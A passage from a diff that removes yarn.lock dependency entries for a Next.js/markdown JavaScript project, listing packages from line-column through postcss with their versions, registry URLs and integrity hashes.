- indefinite-observable "^2.0.1" - is-in-browser "^1.1.3" - tiny-warning "^1.0.2" - -line-column@^1.0.2: - version "1.0.2" - resolved "https://registry.yarnpkg.com/line-column/-/line-column-1.0.2.tgz#d25af2936b6f4849172b312e4792d1d987bc34a2" - integrity sha1-0lryk2tvSEkXKzEuR5LR2Ye8NKI= - dependencies: - isarray "^1.0.0" - isobject "^2.0.0" - -loader-utils@1.2.3: - version "1.2.3" - resolved "https://registry.yarnpkg.com/loader-utils/-/loader-utils-1.2.3.tgz#1ff5dc6911c9f0a062531a4c04b609406108c2c7" - integrity sha512-fkpz8ejdnEMG3s37wGL07iSBDg99O9D5yflE9RGNH3hRdx9SOwYfnGYdZOUIZitN8E+E2vkq3MUMYMvPYl5ZZA== - dependencies: - big.js "^5.2.2" - emojis-list "^2.0.0" - json5 "^1.0.1" - -locate-path@^5.0.0: - version "5.0.0" - resolved "https://registry.yarnpkg.com/locate-path/-/locate-path-5.0.0.tgz#1afba396afd676a6d42504d0a67a3a7eb9f62aa0" - integrity sha512-t7hw9pI+WvuwNJXwk5zVHpyhIqzg2qTlklJOf0mVxGSbe3Fp2VieZcduNYjaLDoy6p9uGpQEGWG87WpMKlNq8g== - dependencies: - p-locate "^4.1.0" - -lodash.sortby@^4.7.0: - version "4.7.0" - resolved "https://registry.yarnpkg.com/lodash.sortby/-/lodash.sortby-4.7.0.tgz#edd14c824e2cc9c1e0b0a1b42bb5210516a42438" - integrity sha1-7dFMgk4sycHgsKG0K7UhBRakJDg= - -lodash@^4.17.13: - version "4.17.21" - resolved "https://registry.yarnpkg.com/lodash/-/lodash-4.17.21.tgz#679591c564c3bffaae8454cf0b3df370c3d6911c" - integrity sha512-v2kDEe57lecTulaDIuNTPy3Ry4gLGJ6Z1O3vE1krgXZNrsQ+LFTGHVxVjcXPs17LhbZVGedAJv8XZ1tvj5FvSg== - -longest-streak@^2.0.0: - version "2.0.4" - resolved "https://registry.yarnpkg.com/longest-streak/-/longest-streak-2.0.4.tgz#b8599957da5b5dab64dee3fe316fa774597d90e4" - integrity sha512-vM6rUVCVUJJt33bnmHiZEvr7wPT78ztX7rojL+LW51bHtLh6HTjx84LA5W4+oa6aKEJA7jJu5LR6vQRBpA5DVg== - -loose-envify@^1.1.0, loose-envify@^1.4.0: - version "1.4.0" - resolved "https://registry.yarnpkg.com/loose-envify/-/loose-envify-1.4.0.tgz#71ee51fa7be4caec1a63839f7e682d8132d30caf" - integrity sha512-lyuxPGr/Wfhrlem2CL/UcnUc1zcqKAImBDzukY7Y5F/yQiNdko6+fRLevlw1HgMySw7f611UIY408EtxRSoK3Q== - dependencies: - js-tokens "^3.0.0 || ^4.0.0" - -lowlight@^1.17.0: - version "1.20.0" - resolved "https://registry.yarnpkg.com/lowlight/-/lowlight-1.20.0.tgz#ddb197d33462ad0d93bf19d17b6c301aa3941888" - integrity sha512-8Ktj+prEb1RoCPkEOrPMYUN/nCggB7qAWe3a7OpMjWQkh3l2RD5wKRQ+o8Q8YuI9RG/xs95waaI/E6ym/7NsTw== - dependencies: - fault "^1.0.0" - highlight.js "~10.7.0" - -make-dir@^3.0.2: - version "3.1.0" - resolved "https://registry.yarnpkg.com/make-dir/-/make-dir-3.1.0.tgz#415e967046b3a7f1d185277d84aa58203726a13f" - integrity sha512-g3FeP20LNwhALb/6Cz6Dd4F2ngze0jz7tbzrD2wAV+o9FeNHe4rL+yK2md0J/fiSf1sa1ADhXqi5+oVwOM/eGw== - dependencies: - semver "^6.0.0" - -markdown-table@^2.0.0: - version "2.0.0" - resolved "https://registry.yarnpkg.com/markdown-table/-/markdown-table-2.0.0.tgz#194a90ced26d31fe753d8b9434430214c011865b" - integrity sha512-Ezda85ToJUBhM6WGaG6veasyym+Tbs3cMAw/ZhOPqXiYsr0jgocBV3j3nx+4lk47plLlIqjwuTm/ywVI+zjJ/A== - dependencies: - repeat-string "^1.0.0" - -md5.js@^1.3.4: - version "1.3.5" - resolved "https://registry.yarnpkg.com/md5.js/-/md5.js-1.3.5.tgz#b5d07b8e3216e3e27cd728d72f70d1e6a342005f" - integrity sha512-xitP+WxNPcTTOgnTJcrhM0xvdPepipPSf3I8EIpGKeFLjt3PlJLIDG3u8EX53ZIubkb+5U2+3rELYpEhHhzdkg== - dependencies: - hash-base "^3.0.0" - inherits "^2.0.1" - safe-buffer "^5.1.2" - -mdast-util-definitions@^4.0.0: - version "4.0.0" - resolved "https://registry.yarnpkg.com/mdast-util-definitions/-/mdast-util-definitions-4.0.0.tgz#c5c1a84db799173b4dcf7643cda999e440c24db2" - integrity sha512-k8AJ6aNnUkB7IE+5azR9h81O5EQ/cTDXtWdMq9Kk5KcEW/8ritU5CeLg/9HhOC++nALHBlaogJ5jz0Ybk3kPMQ== - dependencies: - unist-util-visit "^2.0.0" - -mdast-util-find-and-replace@^1.1.0: - version "1.1.1" - resolved "https://registry.yarnpkg.com/mdast-util-find-and-replace/-/mdast-util-find-and-replace-1.1.1.tgz#b7db1e873f96f66588c321f1363069abf607d1b5" - integrity sha512-9cKl33Y21lyckGzpSmEQnIDjEfeeWelN5s1kUW1LwdB0Fkuq2u+4GdqcGEygYxJE8GVqCl0741bYXHgamfWAZA== - dependencies: - escape-string-regexp "^4.0.0" - unist-util-is "^4.0.0" - unist-util-visit-parents "^3.0.0" - -mdast-util-from-markdown@^0.8.0: - version "0.8.5" - resolved "https://registry.yarnpkg.com/mdast-util-from-markdown/-/mdast-util-from-markdown-0.8.5.tgz#d1ef2ca42bc377ecb0463a987910dae89bd9a28c" - integrity sha512-2hkTXtYYnr+NubD/g6KGBS/0mFmBcifAsI0yIWRiRo0PjVs6SSOSOdtzbp6kSGnShDN6G5aWZpKQ2lWRy27mWQ== - dependencies: - "@types/mdast" "^3.0.0" - mdast-util-to-string "^2.0.0" - micromark "~2.11.0" - parse-entities "^2.0.0" - unist-util-stringify-position "^2.0.0" - -mdast-util-gfm-autolink-literal@^0.1.0: - version "0.1.3" - resolved "https://registry.yarnpkg.com/mdast-util-gfm-autolink-literal/-/mdast-util-gfm-autolink-literal-0.1.3.tgz#9c4ff399c5ddd2ece40bd3b13e5447d84e385fb7" - integrity sha512-GjmLjWrXg1wqMIO9+ZsRik/s7PLwTaeCHVB7vRxUwLntZc8mzmTsLVr6HW1yLokcnhfURsn5zmSVdi3/xWWu1A== - dependencies: - ccount "^1.0.0" - mdast-util-find-and-replace "^1.1.0" - micromark "^2.11.3" - -mdast-util-gfm-strikethrough@^0.2.0: - version "0.2.3" - resolved "https://registry.yarnpkg.com/mdast-util-gfm-strikethrough/-/mdast-util-gfm-strikethrough-0.2.3.tgz#45eea337b7fff0755a291844fbea79996c322890" - integrity sha512-5OQLXpt6qdbttcDG/UxYY7Yjj3e8P7X16LzvpX8pIQPYJ/C2Z1qFGMmcw+1PZMUM3Z8wt8NRfYTvCni93mgsgA== - dependencies: - mdast-util-to-markdown "^0.6.0" - -mdast-util-gfm-table@^0.1.0: - version "0.1.6" - resolved "https://registry.yarnpkg.com/mdast-util-gfm-table/-/mdast-util-gfm-table-0.1.6.tgz#af05aeadc8e5ee004eeddfb324b2ad8c029b6ecf" - integrity sha512-j4yDxQ66AJSBwGkbpFEp9uG/LS1tZV3P33fN1gkyRB2LoRL+RR3f76m0HPHaby6F4Z5xr9Fv1URmATlRRUIpRQ== - dependencies: - markdown-table "^2.0.0" - mdast-util-to-markdown "~0.6.0" - -mdast-util-gfm-task-list-item@^0.1.0: - version "0.1.6" - resolved "https://registry.yarnpkg.com/mdast-util-gfm-task-list-item/-/mdast-util-gfm-task-list-item-0.1.6.tgz#70c885e6b9f543ddd7e6b41f9703ee55b084af10" - integrity sha512-/d51FFIfPsSmCIRNp7E6pozM9z1GYPIkSy1urQ8s/o4TC22BZ7DqfHFWiqBD23bc7J3vV1Fc9O4QIHBlfuit8A== - dependencies: - mdast-util-to-markdown "~0.6.0" - -mdast-util-gfm@^0.1.0: - version "0.1.2" - resolved "https://registry.yarnpkg.com/mdast-util-gfm/-/mdast-util-gfm-0.1.2.tgz#8ecddafe57d266540f6881f5c57ff19725bd351c" - integrity sha512-NNkhDx/qYcuOWB7xHUGWZYVXvjPFFd6afg6/e2g+SV4r9q5XUcCbV4Wfa3DLYIiD+xAEZc6K4MGaE/m0KDcPwQ== - dependencies: - mdast-util-gfm-autolink-literal "^0.1.0" - mdast-util-gfm-strikethrough "^0.2.0" - mdast-util-gfm-table "^0.1.0" - mdast-util-gfm-task-list-item "^0.1.0" - mdast-util-to-markdown "^0.6.1" - -mdast-util-to-hast@^10.2.0: - version "10.2.0" - resolved "https://registry.yarnpkg.com/mdast-util-to-hast/-/mdast-util-to-hast-10.2.0.tgz#61875526a017d8857b71abc9333942700b2d3604" - integrity sha512-JoPBfJ3gBnHZ18icCwHR50orC9kNH81tiR1gs01D8Q5YpV6adHNO9nKNuFBCJQ941/32PT1a63UF/DitmS3amQ== - dependencies: - "@types/mdast" "^3.0.0" - "@types/unist" "^2.0.0" - mdast-util-definitions "^4.0.0" - mdurl "^1.0.0" - unist-builder "^2.0.0" - unist-util-generated "^1.0.0" - unist-util-position "^3.0.0" - unist-util-visit "^2.0.0" - -mdast-util-to-markdown@^0.6.0, mdast-util-to-markdown@^0.6.1, mdast-util-to-markdown@~0.6.0: - version "0.6.5" - resolved "https://registry.yarnpkg.com/mdast-util-to-markdown/-/mdast-util-to-markdown-0.6.5.tgz#b33f67ca820d69e6cc527a93d4039249b504bebe" - integrity sha512-XeV9sDE7ZlOQvs45C9UKMtfTcctcaj/pGwH8YLbMHoMOXNNCn2LsqVQOqrF1+/NU8lKDAqozme9SCXWyo9oAcQ== - dependencies: - "@types/unist" "^2.0.0" - longest-streak "^2.0.0" - mdast-util-to-string "^2.0.0" - parse-entities "^2.0.0" - repeat-string "^1.0.0" - zwitch "^1.0.0" - -mdast-util-to-string@^2.0.0: - version "2.0.0" - resolved "https://registry.yarnpkg.com/mdast-util-to-string/-/mdast-util-to-string-2.0.0.tgz#b8cfe6a713e1091cb5b728fc48885a4767f8b97b" - integrity sha512-AW4DRS3QbBayY/jJmD8437V1Gombjf8RSOUCMFBuo5iHi58AGEgVCKQ+ezHkZZDpAQS75hcBMpLqjpJTjtUL7w== - -mdurl@^1.0.0: - version "1.0.1" - resolved "https://registry.yarnpkg.com/mdurl/-/mdurl-1.0.1.tgz#fe85b2ec75a59037f2adfec100fd6c601761152e" - integrity sha1-/oWy7HWlkDfyrf7BAP1sYBdhFS4= - -merge-stream@^2.0.0: - version "2.0.0" - resolved "https://registry.yarnpkg.com/merge-stream/-/merge-stream-2.0.0.tgz#52823629a14dd00c9770fb6ad47dc6310f2c1f60" - integrity sha512-abv/qOcuPfk3URPfDzmZU1LKmuw8kT+0nIHvKrKgFrwifol/doWcdA4ZqsWQ8ENrFKkd67Mfpo/LovbIUsbt3w== - -micromark-extension-gfm-autolink-literal@~0.5.0: - version "0.5.7" - resolved "https://registry.yarnpkg.com/micromark-extension-gfm-autolink-literal/-/micromark-extension-gfm-autolink-literal-0.5.7.tgz#53866c1f0c7ef940ae7ca1f72c6faef8fed9f204" - integrity sha512-ePiDGH0/lhcngCe8FtH4ARFoxKTUelMp4L7Gg2pujYD5CSMb9PbblnyL+AAMud/SNMyusbS2XDSiPIRcQoNFAw== - dependencies: - micromark "~2.11.3" - -micromark-extension-gfm-strikethrough@~0.6.5: - version "0.6.5" - resolved "https://registry.yarnpkg.com/micromark-extension-gfm-strikethrough/-/micromark-extension-gfm-strikethrough-0.6.5.tgz#96cb83356ff87bf31670eefb7ad7bba73e6514d1" - integrity sha512-PpOKlgokpQRwUesRwWEp+fHjGGkZEejj83k9gU5iXCbDG+XBA92BqnRKYJdfqfkrRcZRgGuPuXb7DaK/DmxOhw== - dependencies: - micromark "~2.11.0" - -micromark-extension-gfm-table@~0.4.0: - version "0.4.3" - resolved "https://registry.yarnpkg.com/micromark-extension-gfm-table/-/micromark-extension-gfm-table-0.4.3.tgz#4d49f1ce0ca84996c853880b9446698947f1802b" - integrity sha512-hVGvESPq0fk6ALWtomcwmgLvH8ZSVpcPjzi0AjPclB9FsVRgMtGZkUcpE0zgjOCFAznKepF4z3hX8z6e3HODdA== - dependencies: - micromark "~2.11.0" - -micromark-extension-gfm-tagfilter@~0.3.0: - version "0.3.0" - resolved "https://registry.yarnpkg.com/micromark-extension-gfm-tagfilter/-/micromark-extension-gfm-tagfilter-0.3.0.tgz#d9f26a65adee984c9ccdd7e182220493562841ad" - integrity sha512-9GU0xBatryXifL//FJH+tAZ6i240xQuFrSL7mYi8f4oZSbc+NvXjkrHemeYP0+L4ZUT+Ptz3b95zhUZnMtoi/Q== - -micromark-extension-gfm-task-list-item@~0.3.0: - version "0.3.3" - resolved "https://registry.yarnpkg.com/micromark-extension-gfm-task-list-item/-/micromark-extension-gfm-task-list-item-0.3.3.tgz#d90c755f2533ed55a718129cee11257f136283b8" - integrity sha512-0zvM5iSLKrc/NQl84pZSjGo66aTGd57C1idmlWmE87lkMcXrTxg1uXa/nXomxJytoje9trP0NDLvw4bZ/Z/XCQ== - dependencies: - micromark "~2.11.0" - -micromark-extension-gfm@^0.3.0: - version "0.3.3" - resolved "https://registry.yarnpkg.com/micromark-extension-gfm/-/micromark-extension-gfm-0.3.3.tgz#36d1a4c089ca8bdfd978c9bd2bf1a0cb24e2acfe" - integrity sha512-oVN4zv5/tAIA+l3GbMi7lWeYpJ14oQyJ3uEim20ktYFAcfX1x3LNlFGGlmrZHt7u9YlKExmyJdDGaTt6cMSR/A== - dependencies: - micromark "~2.11.0" - micromark-extension-gfm-autolink-literal "~0.5.0" - micromark-extension-gfm-strikethrough "~0.6.5" - micromark-extension-gfm-table "~0.4.0" - micromark-extension-gfm-tagfilter "~0.3.0" - micromark-extension-gfm-task-list-item "~0.3.0" - -micromark@^2.11.3, micromark@~2.11.0, micromark@~2.11.3: - version "2.11.4" - resolved "https://registry.yarnpkg.com/micromark/-/micromark-2.11.4.tgz#d13436138eea826383e822449c9a5c50ee44665a" - integrity sha512-+WoovN/ppKolQOFIAajxi7Lu9kInbPxFuTBVEavFcL8eAfVstoc5MocPmqBeAdBOJV00uaVjegzH4+MA0DN/uA== - dependencies: - debug "^4.0.0" - parse-entities "^2.0.0" - -miller-rabin@^4.0.0: - version "4.0.1" - resolved "https://registry.yarnpkg.com/miller-rabin/-/miller-rabin-4.0.1.tgz#f080351c865b0dc562a8462966daa53543c78a4d" - integrity sha512-115fLhvZVqWwHPbClyntxEVfVDfl9DLLTuJvq3g2O/Oxi8AiNouAHvDSzHS0viUJc+V5vm3eq91Xwqn9dp4jRA== - dependencies: - bn.js "^4.0.0" - brorand "^1.0.1" - -minimalistic-assert@^1.0.0, minimalistic-assert@^1.0.1: - version "1.0.1" - resolved "https://registry.yarnpkg.com/minimalistic-assert/-/minimalistic-assert-1.0.1.tgz#2e194de044626d4a10e7f7fbc00ce73e83e4d5c7" - integrity sha512-UtJcAD4yEaGtjPezWuO9wC4nwUnVH/8/Im3yEHQP4b67cXlD/Qr9hdITCU1xDbSEXg2XKNaP8jsReV7vQd00/A== - -minimalistic-crypto-utils@^1.0.1: - version "1.0.1" - resolved "https://registry.yarnpkg.com/minimalistic-crypto-utils/-/minimalistic-crypto-utils-1.0.1.tgz#f6c00c1c0b082246e5c4d99dfb8c7c083b2b582a" - integrity sha1-9sAMHAsIIkblxNmd+4x8CDsrWCo= - -minimist@^1.2.0: - version "1.2.5" - resolved "https://registry.yarnpkg.com/minimist/-/minimist-1.2.5.tgz#67d66014b66a6a8aaa0c083c5fd58df4e4e97602" - integrity sha512-FM9nNUYrRBAELZQT3xeZQ7fmMOBg6nWNmJKTcgsJeaLstP/UODVpGsr5OhXhhXg6f+qtJ8uiZ+PUxkDWcgIXLw== - -mousetrap@^1.6.5: - version "1.6.5" - resolved "https://registry.yarnpkg.com/mousetrap/-/mousetrap-1.6.5.tgz#8a766d8c272b08393d5f56074e0b5ec183485bf9" - integrity sha512-QNo4kEepaIBwiT8CDhP98umTetp+JNfQYBWvC1pc6/OAibuXtRcxZ58Qz8skvEHYvURne/7R8T5VoOI7rDsEUA== - -ms@2.0.0: - version "2.0.0" - resolved "https://registry.yarnpkg.com/ms/-/ms-2.0.0.tgz#5608aeadfc00be6c2901df5f9861788de0d597c8" - integrity sha1-VgiurfwAvmwpAd9fmGF4jeDVl8g= - -ms@2.1.2: - version "2.1.2" - resolved "https://registry.yarnpkg.com/ms/-/ms-2.1.2.tgz#d09d1f357b443f493382a8eb3ccd183872ae6009" - integrity sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w== - -nanoid@^3.1.16: - version "3.1.22" - resolved "https://registry.yarnpkg.com/nanoid/-/nanoid-3.1.22.tgz#b35f8fb7d151990a8aebd5aa5015c03cf726f844" - integrity sha512-/2ZUaJX2ANuLtTvqTlgqBQNJoQO398KyJgZloL0PZkC0dpysjncRUPsFe3DUPzz/y3h+u7C46np8RMuvF3jsSQ== - -native-url@0.3.4: - version "0.3.4" - resolved "https://registry.yarnpkg.com/native-url/-/native-url-0.3.4.tgz#29c943172aed86c63cee62c8c04db7f5756661f8" - integrity sha512-6iM8R99ze45ivyH8vybJ7X0yekIcPf5GgLV5K0ENCbmRcaRIDoj37BC8iLEmaaBfqqb8enuZ5p0uhY+lVAbAcA== - dependencies: - querystring "^0.2.0" - -next@10.0.9: - version "10.0.9" - resolved "https://registry.yarnpkg.com/next/-/next-10.0.9.tgz#ad5d8e0368fee8363cdfd64d22dfbf71f683ae66" - integrity sha512-HyoVjYydcM6LaFAUOHSxVQCcKOsIimVO/IKXCuWUu1rr6DDgXbWNg/8ckH084qD46MOYlLzjViiZ3KCmNQL4Cw== - dependencies: - "@babel/runtime" "7.12.5" - "@hapi/accept" "5.0.1" - "@next/env" "10.0.9" - "@next/polyfill-module" "10.0.9" - "@next/react-dev-overlay" "10.0.9" - "@next/react-refresh-utils" "10.0.9" - "@opentelemetry/api" "0.14.0" - ast-types "0.13.2" - browserslist "4.16.1" - buffer "5.6.0" - caniuse-lite "^1.0.30001179" - chalk "2.4.2" - chokidar "3.5.1" - crypto-browserify "3.12.0" - cssnano-simple "1.2.2" - etag "1.8.1" - find-cache-dir "3.3.1" - get-orientation "1.1.2" - jest-worker "24.9.0" - native-url "0.3.4" - node-fetch "2.6.1" - node-html-parser "1.4.9" - node-libs-browser "^2.2.1" - p-limit "3.1.0" - path-browserify "1.0.1" - pnp-webpack-plugin "1.6.4" - postcss "8.1.7" - process "0.11.10" - prop-types "15.7.2" - raw-body "2.4.1" - react-is "16.13.1" - react-refresh "0.8.3" - stream-browserify "3.0.0" - styled-jsx "3.3.2" - use-subscription "1.5.1" - vm-browserify "1.1.2" - watchpack "2.1.1" - -node-fetch@2.6.1: - version "2.6.1" - resolved "https://registry.yarnpkg.com/node-fetch/-/node-fetch-2.6.1.tgz#045bd323631f76ed2e2b55573394416b639a0052" - integrity sha512-V4aYg89jEoVRxRb2fJdAg8FHvI7cEyYdVAh94HH0UIK8oJxUfkjlDQN9RbMx+bEjP7+ggMiFRprSti032Oipxw== - -node-html-parser@1.4.9: - version "1.4.9" - resolved "https://registry.yarnpkg.com/node-html-parser/-/node-html-parser-1.4.9.tgz#3c8f6cac46479fae5800725edb532e9ae8fd816c" - integrity sha512-UVcirFD1Bn0O+TSmloHeHqZZCxHjvtIeGdVdGMhyZ8/PWlEiZaZ5iJzR189yKZr8p0FXN58BUeC7RHRkf/KYGw== - dependencies: - he "1.2.0" - -node-libs-browser@^2.2.1: - version "2.2.1" - resolved "https://registry.yarnpkg.com/node-libs-browser/-/node-libs-browser-2.2.1.tgz#b64f513d18338625f90346d27b0d235e631f6425" - integrity sha512-h/zcD8H9kaDZ9ALUWwlBUDo6TKF8a7qBSCSEGfjTVIYeqsioSKaAX+BN7NgiMGp6iSIXZ3PxgCu8KS3b71YK5Q== - dependencies: - assert "^1.1.1" - browserify-zlib "^0.2.0" - buffer "^4.3.0" - console-browserify "^1.1.0" - constants-browserify "^1.0.0" - crypto-browserify "^3.11.0" - domain-browser "^1.1.1" - events "^3.0.0" - https-browserify "^1.0.0" - os-browserify "^0.3.0" - path-browserify "0.0.1" - process "^0.11.10" - punycode "^1.2.4" - querystring-es3 "^0.2.0" - readable-stream "^2.3.3" - stream-browserify "^2.0.1" - stream-http "^2.7.2" - string_decoder "^1.0.0" - timers-browserify "^2.0.4" - tty-browserify "0.0.0" - url "^0.11.0" - util "^0.11.0" - vm-browserify "^1.0.1" - -node-releases@^1.1.69: - version "1.1.71" - resolved "https://registry.yarnpkg.com/node-releases/-/node-releases-1.1.71.tgz#cb1334b179896b1c89ecfdd4b725fb7bbdfc7dbb" - integrity sha512-zR6HoT6LrLCRBwukmrVbHv0EpEQjksO6GmFcZQQuCAy139BEsoVKPYnf3jongYW83fAa1torLGYwxxky/p28sg== - -normalize-path@^3.0.0, normalize-path@~3.0.0: - version "3.0.0" - resolved "https://registry.yarnpkg.com/normalize-path/-/normalize-path-3.0.0.tgz#0dcd69ff23a1c9b11fd0978316644a0388216a65" - integrity sha512-6eZs5Ls3WtCisHWp9S2GUy8dqkpGi4BVSz3GaqiE6ezub0512ESztXUwUB6C6IKbQkY2Pnb/mD4WYojCRwcwLA== - -object-assign@^4.1.1: - version "4.1.1" - resolved "https://registry.yarnpkg.com/object-assign/-/object-assign-4.1.1.tgz#2109adc7965887cfc05cbbd442cac8bfbb360863" - integrity sha1-IQmtx5ZYh8/AXLvUQsrIv7s2CGM= - -os-browserify@^0.3.0: - version "0.3.0" - resolved "https://registry.yarnpkg.com/os-browserify/-/os-browserify-0.3.0.tgz#854373c7f5c2315914fc9bfc6bd8238fdda1ec27" - integrity sha1-hUNzx/XCMVkU/Jv8a9gjj92h7Cc= - -p-limit@3.1.0: - version "3.1.0" - resolved "https://registry.yarnpkg.com/p-limit/-/p-limit-3.1.0.tgz#e1daccbe78d0d1388ca18c64fea38e3e57e3706b" - integrity sha512-TYOanM3wGwNGsZN2cVTYPArw454xnXj5qmWF1bEoAc4+cU/ol7GVh7odevjp1FNHduHc3KZMcFduxU5Xc6uJRQ== - dependencies: - yocto-queue "^0.1.0" - -p-limit@^2.2.0: - version "2.3.0" - resolved "https://registry.yarnpkg.com/p-limit/-/p-limit-2.3.0.tgz#3dd33c647a214fdfffd835933eb086da0dc21db1" - integrity sha512-//88mFWSJx8lxCzwdAABTJL2MyWB12+eIY7MDL2SqLmAkeKU9qxRvWuSyTjm3FUmpBEMuFfckAIqEaVGUDxb6w== - dependencies: - p-try "^2.0.0" - -p-locate@^4.1.0: - version "4.1.0" - resolved "https://registry.yarnpkg.com/p-locate/-/p-locate-4.1.0.tgz#a3428bb7088b3a60292f66919278b7c297ad4f07" - integrity sha512-R79ZZ/0wAxKGu3oYMlz8jy/kbhsNrS7SKZ7PxEHBgJ5+F2mtFW2fK2cOtBh1cHYkQsbzFV7I+EoRKe6Yt0oK7A== - dependencies: - p-limit "^2.2.0" - -p-try@^2.0.0: - version "2.2.0" - resolved "https://registry.yarnpkg.com/p-try/-/p-try-2.2.0.tgz#cb2868540e313d61de58fafbe35ce9004d5540e6" - integrity sha512-R4nPAVTAU0B9D35/Gk3uJf/7XYbQcyohSKdvAxIRSNghFl4e71hVoGnBNQz9cWaXxO2I10KTC+3jMdvvoKw6dQ== - -pako@~1.0.5: - version "1.0.11" - resolved "https://registry.yarnpkg.com/pako/-/pako-1.0.11.tgz#6c9599d340d54dfd3946380252a35705a6b992bf" - integrity sha512-4hLB8Py4zZce5s4yd9XzopqwVv/yGNhV1Bl8NTmCq1763HeK2+EwVTv+leGeL13Dnh2wfbqowVPXCIO0z4taYw== - -parse-asn1@^5.0.0, parse-asn1@^5.1.5: - version "5.1.6" - resolved "https://registry.yarnpkg.com/parse-asn1/-/parse-asn1-5.1.6.tgz#385080a3ec13cb62a62d39409cb3e88844cdaed4" - integrity sha512-RnZRo1EPU6JBnra2vGHj0yhp6ebyjBZpmUCLHWiFhxlzvBCCpAuZ7elsBp1PVAbQN0/04VD/19rfzlBSwLstMw== - dependencies: - asn1.js "^5.2.0" - browserify-aes "^1.0.0" - evp_bytestokey "^1.0.0" - pbkdf2 "^3.0.3" - safe-buffer "^5.1.1" - -parse-entities@^2.0.0: - version "2.0.0" - resolved "https://registry.yarnpkg.com/parse-entities/-/parse-entities-2.0.0.tgz#53c6eb5b9314a1f4ec99fa0fdf7ce01ecda0cbe8" - integrity sha512-kkywGpCcRYhqQIchaWqZ875wzpS/bMKhz5HnN3p7wveJTkTtyAB/AlnS0f8DFSqYW1T82t6yEAkEcB+A1I3MbQ== - dependencies: - character-entities "^1.0.0" - character-entities-legacy "^1.0.0" - character-reference-invalid "^1.0.0" - is-alphanumerical "^1.0.0" - is-decimal "^1.0.0" - is-hexadecimal "^1.0.0" - -parse5@^6.0.0: - version "6.0.1" - resolved "https://registry.yarnpkg.com/parse5/-/parse5-6.0.1.tgz#e1a1c085c569b3dc08321184f19a39cc27f7c30b" - integrity sha512-Ofn/CTFzRGTTxwpNEs9PP93gXShHcTq255nzRYSKe8AkVpZY7e1fpmTfOyoIvjP5HG7Z2ZM7VS9PPhQGW2pOpw== - -path-browserify@0.0.1: - version "0.0.1" - resolved "https://registry.yarnpkg.com/path-browserify/-/path-browserify-0.0.1.tgz#e6c4ddd7ed3aa27c68a20cc4e50e1a4ee83bbc4a" - integrity sha512-BapA40NHICOS+USX9SN4tyhq+A2RrN/Ws5F0Z5aMHDp98Fl86lX8Oti8B7uN93L4Ifv4fHOEA+pQw87gmMO/lQ== - -path-browserify@1.0.1: - version "1.0.1" - resolved "https://registry.yarnpkg.com/path-browserify/-/path-browserify-1.0.1.tgz#d98454a9c3753d5790860f16f68867b9e46be1fd" - integrity sha512-b7uo2UCUOYZcnF/3ID0lulOJi/bafxa1xPe7ZPsammBSpjSWQkjNxlt635YGS2MiR9GjvuXCtz2emr3jbsz98g== - -path-exists@^4.0.0: - version "4.0.0" - resolved "https://registry.yarnpkg.com/path-exists/-/path-exists-4.0.0.tgz#513bdbe2d3b95d7762e8c1137efa195c6c61b5b3" - integrity sha512-ak9Qy5Q7jYb2Wwcey5Fpvg2KoAc/ZIhLSLOSBmRmygPsGwkVVt0fZa0qrtMz+m6tJTAHfZQ8FnmB4MG4LWy7/w== - -pbkdf2@^3.0.3: - version "3.1.1" - resolved "https://registry.yarnpkg.com/pbkdf2/-/pbkdf2-3.1.1.tgz#cb8724b0fada984596856d1a6ebafd3584654b94" - integrity sha512-4Ejy1OPxi9f2tt1rRV7Go7zmfDQ+ZectEQz3VGUQhgq62HtIRPDyG/JtnwIxs6x3uNMwo2V7q1fMvKjb+Tnpqg== - dependencies: - create-hash "^1.1.2" - create-hmac "^1.1.4" - ripemd160 "^2.0.1" - safe-buffer "^5.0.1" - sha.js "^2.4.8" - -picomatch@^2.0.4, picomatch@^2.2.1: - version "2.2.2" - resolved "https://registry.yarnpkg.com/picomatch/-/picomatch-2.2.2.tgz#21f333e9b6b8eaff02468f5146ea406d345f4dad" - integrity sha512-q0M/9eZHzmr0AulXyPwNfZjtwZ/RBZlbN3K3CErVrk50T2ASYI7Bye0EvekFY3IP1Nt2DHu0re+V2ZHIpMkuWg== - -pkg-dir@^4.1.0: - version "4.2.0" - resolved "https://registry.yarnpkg.com/pkg-dir/-/pkg-dir-4.2.0.tgz#f099133df7ede422e81d1d8448270eeb3e4261f3" - integrity sha512-HRDzbaKjC+AOWVXxAU/x54COGeIv9eb+6CkDSQoNTt4XyWoIJvuPsXizxu/Fr23EiekbtZwmh1IcIG/l/a10GQ== - dependencies: - find-up "^4.0.0" - -platform@1.3.6: - version "1.3.6" - resolved "https://registry.yarnpkg.com/platform/-/platform-1.3.6.tgz#48b4ce983164b209c2d45a107adb31f473a6e7a7" - integrity sha512-fnWVljUchTro6RiCFvCXBbNhJc2NijN7oIQxbwsyL0buWJPG85v81ehlHI9fXrJsMNgTofEoWIQeClKpgxFLrg== - -pnp-webpack-plugin@1.6.4: - version "1.6.4" - resolved "https://registry.yarnpkg.com/pnp-webpack-plugin/-/pnp-webpack-plugin-1.6.4.tgz#c9711ac4dc48a685dabafc86f8b6dd9f8df84149" - integrity sha512-7Wjy+9E3WwLOEL30D+m8TSTF7qJJUJLONBnwQp0518siuMxUQUbgZwssaFX+QKlZkjHZcw/IpZCt/H0srrntSg== - dependencies: - ts-pnp "^1.1.6" - -popper.js@1.16.1-lts: - version "1.16.1-lts" - resolved "https://registry.yarnpkg.com/popper.js/-/popper.js-1.16.1-lts.tgz#cf6847b807da3799d80ee3d6d2f90df8a3f50b05" - integrity sha512-Kjw8nKRl1m+VrSFCoVGPph93W/qrSO7ZkqPpTf7F4bk/sqcfWK019dWBUpE/fBOsOQY1dks/Bmcbfn1heM/IsA== - -postcss@8.1.7: - version "8.1.7" - resolved "https://registry.yarnpkg.com/postcss/-/postcss-8.1.7.tgz#ff6a82691bd861f3354fd9b17b2332f88171233f" - integrity sha512-llCQW1Pz4MOPwbZLmOddGM9eIJ8Bh7SZ2Oj5sxZva77uVaotYDsYTch1WBTNu7fUY0fpWp0fdt7uW40D4sRiiQ== - dependencies: - colorette "^1.2.1" - line-column "^1.0.2" - nanoid "^3.1.16" - source-map "^0.6.1" - -postcss@^7.0.32: - version "7.0.35" - resolved "https://registry.yarnpkg.com/postcss/-/postcss-7.0.35.tgz#d2be00b998f7f211d8a276974079f2e92b970e24" - integrity sha512-3QT8bBJeX/S5zKTTjTCIjRF3If4avAT6kqxcASlTWEtAFCb9NH0OUxNDfgZSWdP5fJnBYCMEWkIFfWeugjzYMg== - dependencies: - chalk "^2.4.2" 